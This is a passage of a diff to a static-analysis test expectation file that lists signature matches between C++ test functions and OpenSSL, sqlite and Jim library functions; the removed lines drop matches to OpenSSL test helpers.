unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | | atl.cpp:206:10:206:17 | InsertAt | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | -| atl.cpp:206:10:206:17 | InsertAt | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | | atl.cpp:206:10:206:17 | InsertAt | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | | atl.cpp:206:10:206:17 | InsertAt | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | | atl.cpp:206:10:206:17 | InsertAt | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | @@ -244,7 +232,6 @@ signatureMatches | atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_param_bytes_to_blocks | 0 | | atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_quic_sstream_new | 0 | | atl.cpp:213:8:213:17 | operator[] | (size_t) | | ssl_cert_new | 0 | -| atl.cpp:213:8:213:17 | operator[] | (size_t) | | test_get_argument | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | @@ -263,8 +250,6 @@ signatureMatches | atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_quic_sstream_new | 0 | | atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ssl_cert_new | 0 | | atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ssl_cert_new | 0 | -| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | test_get_argument | 0 | -| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | test_get_argument | 0 | | atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | | atl.cpp:411:5:411:12 | CComBSTR | (const CComBSTR &) | CComBSTR | Append | 0 | @@ -291,12 +276,9 @@ signatureMatches | atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_tolower | 0 | | atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_toupper | 0 | -| atl.cpp:412:5:412:12 | CComBSTR | (int) | | pulldown_test_framework | 0 | | atl.cpp:412:5:412:12 | CComBSTR | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:412:5:412:12 | CComBSTR | (int) | | sqlite3_errstr | 0 | -| atl.cpp:412:5:412:12 | CComBSTR | (int) | | tls1_alert_code | 0 | | atl.cpp:412:5:412:12 | CComBSTR | (int) | | tls13_alert_code | 0 | -| atl.cpp:412:5:412:12 | CComBSTR | (int) | | wait_until_sock_readable | 0 | | atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | @@ -370,7 +352,6 @@ signatureMatches | atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| atl.cpp:414:5:414:12 | CComBSTR | (STANZA *,const char *) | | test_start_file | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_add_error_string | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_add_info_string | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -389,7 +370,6 @@ signatureMatches | atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | ossl_v3_name_cmp | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | sqlite3_strglob | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | sqlite3_stricmp | 1 | -| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | test_mk_file_path | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (int,const char *) | | BIO_meth_new | 0 | @@ -421,7 +401,6 @@ signatureMatches | atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | opt_path_end | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | opt_progname | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | ossl_lh_strcasehash | 0 | @@ -450,7 +429,6 @@ signatureMatches | atl.cpp:424:13:424:18 | Append | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:424:13:424:18 | Append | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:424:13:424:18 | Append | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:424:13:424:18 | Append | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:424:13:424:18 | Append | (const char *) | | opt_path_end | 0 | | atl.cpp:424:13:424:18 | Append | (const char *) | | opt_progname | 0 | | atl.cpp:424:13:424:18 | Append | (const char *) | | ossl_lh_strcasehash | 0 | @@ -1101,12 +1079,9 @@ signatureMatches | atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_tolower | 0 | | atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_toupper | 0 | -| atl.cpp:568:8:568:17 | operator[] | (int) | | pulldown_test_framework | 0 | | atl.cpp:568:8:568:17 | operator[] | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:568:8:568:17 | operator[] | (int) | | sqlite3_errstr | 0 | -| atl.cpp:568:8:568:17 | operator[] | (int) | | tls1_alert_code | 0 | | atl.cpp:568:8:568:17 | operator[] | (int) | | tls13_alert_code | 0 | -| atl.cpp:568:8:568:17 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | | operator+= | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CStringT | operator= | 0 | @@ -1148,12 +1123,9 @@ signatureMatches | atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_tolower | 0 | | atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_toupper | 0 | -| atl.cpp:731:8:731:17 | operator[] | (int) | | pulldown_test_framework | 0 | | atl.cpp:731:8:731:17 | operator[] | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:731:8:731:17 | operator[] | (int) | | sqlite3_errstr | 0 | -| atl.cpp:731:8:731:17 | operator[] | (int) | | tls1_alert_code | 0 | | atl.cpp:731:8:731:17 | operator[] | (int) | | tls13_alert_code | 0 | -| atl.cpp:731:8:731:17 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:765:10:765:12 | Add | (const deque &,const Allocator &) | deque | deque | 1 | | atl.cpp:765:10:765:12 | Add | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:765:10:765:12 | Add | (const list &,const Allocator &) | list | list | 1 | @@ -1184,12 +1156,9 @@ signatureMatches | atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_tolower | 0 | | atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_toupper | 0 | -| atl.cpp:770:11:770:20 | GetValueAt | (int) | | pulldown_test_framework | 0 | | atl.cpp:770:11:770:20 | GetValueAt | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:770:11:770:20 | GetValueAt | (int) | | sqlite3_errstr | 0 | -| atl.cpp:770:11:770:20 | GetValueAt | (int) | | tls1_alert_code | 0 | | atl.cpp:770:11:770:20 | GetValueAt | (int) | | tls13_alert_code | 0 | -| atl.cpp:770:11:770:20 | GetValueAt | (int) | | wait_until_sock_readable | 0 | | atl.cpp:776:10:776:14 | SetAt | (const deque &,const Allocator &) | deque | deque | 1 | | atl.cpp:776:10:776:14 | SetAt | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:776:10:776:14 | SetAt | (const list &,const Allocator &) | list | list | 1 | @@ -1259,7 +1228,6 @@ signatureMatches | atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | opt_path_end | 0 | | atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | opt_progname | 0 | | atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | ossl_lh_strcasehash | 0 | @@ -1276,7 +1244,6 @@ signatureMatches | atl.cpp:843:17:843:27 | SetHostName | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:843:17:843:27 | SetHostName | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:843:17:843:27 | SetHostName | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:843:17:843:27 | SetHostName | (const char *) | | opt_path_end | 0 | | atl.cpp:843:17:843:27 | SetHostName | (const char *) | | opt_progname | 0 | | atl.cpp:843:17:843:27 | SetHostName | (const char *) | | ossl_lh_strcasehash | 0 | @@ -1293,7 +1260,6 @@ signatureMatches | atl.cpp:844:17:844:27 | SetPassword | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:844:17:844:27 | SetPassword | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:844:17:844:27 | SetPassword | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:844:17:844:27 | SetPassword | (const char *) | | opt_path_end | 0 | | atl.cpp:844:17:844:27 | SetPassword | (const char *) | | opt_progname | 0 | | atl.cpp:844:17:844:27 | SetPassword | (const char *) | | ossl_lh_strcasehash | 0 | @@ -1310,7 +1276,6 @@ signatureMatches | atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | opt_path_end | 0 | | atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | opt_progname | 0 | | atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | ossl_lh_strcasehash | 0 | @@ -1327,7 +1292,6 @@ signatureMatches | atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | opt_path_end | 0 | | atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | opt_progname | 0 | | atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | ossl_lh_strcasehash | 0 | @@ -1344,7 +1308,6 @@ signatureMatches | atl.cpp:849:17:849:27 | SetUserName | (const char *) | | X509_LOOKUP_meth_new | 0 | | atl.cpp:849:17:849:27 | SetUserName | (const char *) | | a2i_IPADDRESS | 0 | | atl.cpp:849:17:849:27 | SetUserName | (const char *) | | a2i_IPADDRESS_NC | 0 | -| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | new_pkcs12_builder | 0 | | atl.cpp:849:17:849:27 | SetUserName | (const char *) | | opt_path_end | 0 | | atl.cpp:849:17:849:27 | SetUserName | (const char *) | | opt_progname | 0 | | atl.cpp:849:17:849:27 | SetUserName | (const char *) | | ossl_lh_strcasehash | 0 | @@ -1780,9 +1743,7 @@ signatureMatches | atl.cpp:927:17:927:25 | CopyChars | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | | atl.cpp:927:17:927:25 | CopyChars | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | | atl.cpp:927:17:927:25 | CopyChars | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | -| atl.cpp:927:17:927:25 | CopyChars | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | | atl.cpp:927:17:927:25 | CopyChars | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | -| atl.cpp:927:17:927:25 | CopyChars | (SSL *,SSL *,int) | | create_ssl_connection | 2 | | atl.cpp:927:17:927:25 | CopyChars | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | | atl.cpp:927:17:927:25 | CopyChars | (SSL *,const void *,int) | | SSL_write | 2 | | atl.cpp:927:17:927:25 | CopyChars | (SSL *,void *,int) | | SSL_peek | 2 | @@ -1860,7 +1821,6 @@ signatureMatches | atl.cpp:927:17:927:25 | CopyChars | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | | atl.cpp:927:17:927:25 | CopyChars | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | | atl.cpp:927:17:927:25 | CopyChars | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | -| atl.cpp:927:17:927:25 | CopyChars | (const char *,SD *,int) | | sd_load | 2 | | atl.cpp:927:17:927:25 | CopyChars | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | | atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | CRYPTO_strdup | 1 | | atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | CRYPTO_strdup | 2 | @@ -2136,9 +2096,7 @@ signatureMatches | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | -| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | -| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,SSL *,int) | | create_ssl_connection | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,const void *,int) | | SSL_write | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,void *,int) | | SSL_peek | 2 | @@ -2216,7 +2174,6 @@ signatureMatches | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | -| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,SD *,int) | | sd_load | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | CRYPTO_strdup | 1 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (const char *,const char *,int) | | CRYPTO_strdup | 2 | @@ -2293,12 +2250,9 @@ signatureMatches | atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_tolower | 0 | | atl.cpp:931:11:931:15 | GetAt | (int) | | ossl_toupper | 0 | -| atl.cpp:931:11:931:15 | GetAt | (int) | | pulldown_test_framework | 0 | | atl.cpp:931:11:931:15 | GetAt | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:931:11:931:15 | GetAt | (int) | | sqlite3_errstr | 0 | -| atl.cpp:931:11:931:15 | GetAt | (int) | | tls1_alert_code | 0 | | atl.cpp:931:11:931:15 | GetAt | (int) | | tls13_alert_code | 0 | -| atl.cpp:931:11:931:15 | GetAt | (int) | | wait_until_sock_readable | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_STRING_type_new | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_tag2bit | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | ASN1_tag2str | 0 | @@ -2321,12 +2275,9 @@ signatureMatches | atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_tolower | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | ossl_toupper | 0 | -| atl.cpp:932:11:932:19 | GetBuffer | (int) | | pulldown_test_framework | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | sqlite3_errstr | 0 | -| atl.cpp:932:11:932:19 | GetBuffer | (int) | | tls1_alert_code | 0 | | atl.cpp:932:11:932:19 | GetBuffer | (int) | | tls13_alert_code | 0 | -| atl.cpp:932:11:932:19 | GetBuffer | (int) | | wait_until_sock_readable | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_STRING_type_new | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_tag2bit | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ASN1_tag2str | 0 | @@ -2349,12 +2300,9 @@ signatureMatches | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_tolower | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | ossl_toupper | 0 | -| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | pulldown_test_framework | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | sqlite3_errstr | 0 | -| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | tls1_alert_code | 0 | | atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | tls13_alert_code | 0 | -| atl.cpp:934:11:934:28 | GetBufferSetLength | (int) | | wait_until_sock_readable | 0 | | atl.cpp:938:10:938:14 | SetAt | (XCHAR,XCHAR) | CStringT | Replace | 1 | | atl.cpp:938:10:938:14 | SetAt | (const CStringT &,char) | | operator+ | 1 | | atl.cpp:938:10:938:14 | SetAt | (int,XCHAR) | CStringT | Insert | 0 | @@ -2673,12 +2621,9 @@ signatureMatches | atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_tolower | 0 | | atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_toupper | 0 | -| atl.cpp:942:11:942:20 | operator[] | (int) | | pulldown_test_framework | 0 | | atl.cpp:942:11:942:20 | operator[] | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:942:11:942:20 | operator[] | (int) | | sqlite3_errstr | 0 | -| atl.cpp:942:11:942:20 | operator[] | (int) | | tls1_alert_code | 0 | | atl.cpp:942:11:942:20 | operator[] | (int) | | tls13_alert_code | 0 | -| atl.cpp:942:11:942:20 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | | operator+= | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | CStringT | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | operator= | 0 | @@ -3336,12 +3281,9 @@ signatureMatches | atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_tolower | 0 | | atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_toupper | 0 | -| atl.cpp:1072:14:1072:17 | Left | (int) | | pulldown_test_framework | 0 | | atl.cpp:1072:14:1072:17 | Left | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:1072:14:1072:17 | Left | (int) | | sqlite3_errstr | 0 | -| atl.cpp:1072:14:1072:17 | Left | (int) | | tls1_alert_code | 0 | | atl.cpp:1072:14:1072:17 | Left | (int) | | tls13_alert_code | 0 | -| atl.cpp:1072:14:1072:17 | Left | (int) | | wait_until_sock_readable | 0 | | atl.cpp:1075:10:1075:19 | LoadString | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:1075:10:1075:19 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | | atl.cpp:1075:10:1075:19 | LoadString | (unsigned int) | | Jim_IntHashFunction | 0 | @@ -3668,12 +3610,9 @@ signatureMatches | atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_cmp_bodytype_to_string | 0 | | atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_tolower | 0 | | atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_toupper | 0 | -| atl.cpp:1083:14:1083:18 | Right | (int) | | pulldown_test_framework | 0 | | atl.cpp:1083:14:1083:18 | Right | (int) | | sqlite3_compileoption_get | 0 | | atl.cpp:1083:14:1083:18 | Right | (int) | | sqlite3_errstr | 0 | -| atl.cpp:1083:14:1083:18 | Right | (int) | | tls1_alert_code | 0 | | atl.cpp:1083:14:1083:18 | Right | (int) | | tls13_alert_code | 0 | -| atl.cpp:1083:14:1083:18 | Right | (int) | | wait_until_sock_readable | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | | operator+= | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CStringT | operator= | 0 | @@ -3761,12 +3700,9 @@ signatureMatches | constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_cmp_bodytype_to_string | 0 | | constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_tolower | 0 | | constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_toupper | 0 | -| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | pulldown_test_framework | 0 | | constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | sqlite3_compileoption_get | 0 | | constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | sqlite3_errstr | 0 | -| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | tls1_alert_code | 0 | | constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | tls13_alert_code | 0 | -| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | wait_until_sock_readable | 0 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_clear_bit | 1 | @@ -4371,12 +4307,9 @@ signatureMatches | copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_cmp_bodytype_to_string | 0 | | copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_tolower | 0 | | copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_toupper | 0 | -| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | pulldown_test_framework | 0 | | copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | sqlite3_compileoption_get | 0 | | copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | sqlite3_errstr | 0 | -| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | tls1_alert_code | 0 | | copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | tls13_alert_code | 0 | -| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | wait_until_sock_readable | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_STRING_type_new | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_tag2bit | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_tag2str | 0 | @@ -4399,12 +4332,9 @@ signatureMatches | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_cmp_bodytype_to_string | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_tolower | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_toupper | 0 | -| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | pulldown_test_framework | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | sqlite3_compileoption_get | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | sqlite3_errstr | 0 | -| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | tls1_alert_code | 0 | | copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | tls13_alert_code | 0 | -| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | wait_until_sock_readable | 0 | | file://:0:0:0:0 | operator delete | (void *) | | ossl_kdf_data_new | 0 | | file://:0:0:0:0 | operator new | (unsigned long) | | BN_num_bits_word | 0 | | file://:0:0:0:0 | operator new | (unsigned long) | | BUF_MEM_new_ex | 0 | @@ -4535,7 +4465,6 @@ signatureMatches | format.cpp:142:8:142:13 | strlen | (const char *) | | X509_LOOKUP_meth_new | 0 | | format.cpp:142:8:142:13 | strlen | (const char *) | | a2i_IPADDRESS | 0 | | format.cpp:142:8:142:13 | strlen | (const char *) | | a2i_IPADDRESS_NC | 0 | -| format.cpp:142:8:142:13 | strlen | (const char *) | | new_pkcs12_builder | 0 | | format.cpp:142:8:142:13 | strlen | (const char *) | | opt_path_end | 0 | | format.cpp:142:8:142:13 | strlen | (const char *) | | opt_progname | 0 | | format.cpp:142:8:142:13 | strlen | (const char *) | | ossl_lh_strcasehash | 0 | @@ -4556,7 +4485,6 @@ signatureMatches | map.cpp:9:6:9:9 | sink | (const char *) | | X509_LOOKUP_meth_new | 0 | | map.cpp:9:6:9:9 | sink | (const char *) | | a2i_IPADDRESS | 0 | | map.cpp:9:6:9:9 | sink | (const char *) | | a2i_IPADDRESS_NC | 0 | -| map.cpp:9:6:9:9 | sink | (const char *) | | new_pkcs12_builder | 0 | | map.cpp:9:6:9:9 | sink | (const char *) | | opt_path_end | 0 | | map.cpp:9:6:9:9 | sink | (const char *) | | opt_progname | 0 | | map.cpp:9:6:9:9 | sink | (const char *) | | ossl_lh_strcasehash | 0 | @@ -4583,12 +4511,9 @@ signatureMatches | movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_cmp_bodytype_to_string | 0 | | movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_tolower | 0 | | movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_toupper | 0 